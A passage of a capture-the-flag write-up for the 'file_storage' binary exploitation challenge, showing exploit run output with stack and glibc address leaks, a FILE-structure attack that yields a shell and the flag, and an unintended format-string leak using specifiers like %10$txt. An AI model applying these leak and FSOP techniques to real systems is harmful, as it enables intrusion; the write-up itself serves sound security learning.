[+] Starting local process './file_storage': pid 1679645
[*] Process './file_storage' stopped with exit code 0 (pid 1679645)
[+] Starting local process './file_storage': pid 1679722
[*] Stopped process './file_storage' (pid 1679722)
[+] Starting local process './file_storage': pid 1679724
[+] Filename: RB.txt
[*] Stopped process './file_storage' (pid 1679724)
[+] Starting local process './file_storage': pid 1679782
[+] Stack leak: 0x7ffd38a35560
[*] Leaked puts() address: 0x7fba40d38420
[+] Glibc base address: 0x7fba40cb4000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Taking a look again at the FILE
structure attack payloads, we have hard-coded the value of _lock
(0x405790
). The value of _lock
only needs to be a valid writable address, so we can use the stack leak for that purpose. If we correct this issue, the exploit will work properly:
$ python3 solve.py
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './file_storage': pid 1683171
[*] Process './file_storage' stopped with exit code 0 (pid 1683171)
[+] Starting local process './file_storage': pid 1683193
[*] Stopped process './file_storage' (pid 1683193)
[+] Starting local process './file_storage': pid 1683195
[+] Filename: DK.txt
[*] Stopped process './file_storage' (pid 1683195)
[+] Starting local process './file_storage': pid 1683253
[+] Stack leak: 0x7fff4a9f16c0
[*] Leaked puts() address: 0x7f63178c2420
[+] Glibc base address: 0x7f631783e000
[*] Switching to interactive mode
$ ls
file_storage ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Let’s run the exploit on the remote instance:
$ python3 solve.py 127.0.0.1:1337
[*] './file_storage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Filename: VD.txt
[*] Closed connection to 127.0.0.1 port 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Stack leak: 0x7ffcd7178810
[*] Leaked puts() address: 0x7fd03a2cf420
[+] Glibc base address: 0x7fd03a24b000
[*] Switching to interactive mode
$ ls
file_storage
flag.txt
run_challenge.sh
$ cat flag.txt
HTB{B0Fs_4nd_F0rm4ts_4r3_l4m3_1f_y0u_h4v3_FS0P!}
The full exploit script can be found in here: solve.py
.
Unintended way
The intended way to get a memory leak from Glibc was using puts
and atoi
. There was a unintended way to leak Glibc using the Format String vulnerability. Although I added the txt
limitation so that the maximum format string payload was %1$ptxt
, it looks like %12$txt
also works because %tx
is a valid format string specifier (more information at Wikipedia):
$ ./file_storage
Welcome to my File Storage (beta):
1. Read contents from a file
2. Write data into a random file
3. Exit
> 1
Filename: %10$txt
Error: File not found. Please try again
Debug: /tmp/0
1. Read contents from a file
2. Write data into a random file
3. Exit
>
So, using %1$ptxt
through %9$ptxt
, the only useful leaks were stack addresses. But from %10$txt
through %99$txt
, there were some Glibc addresses, thus no need to use atoi
and puts
.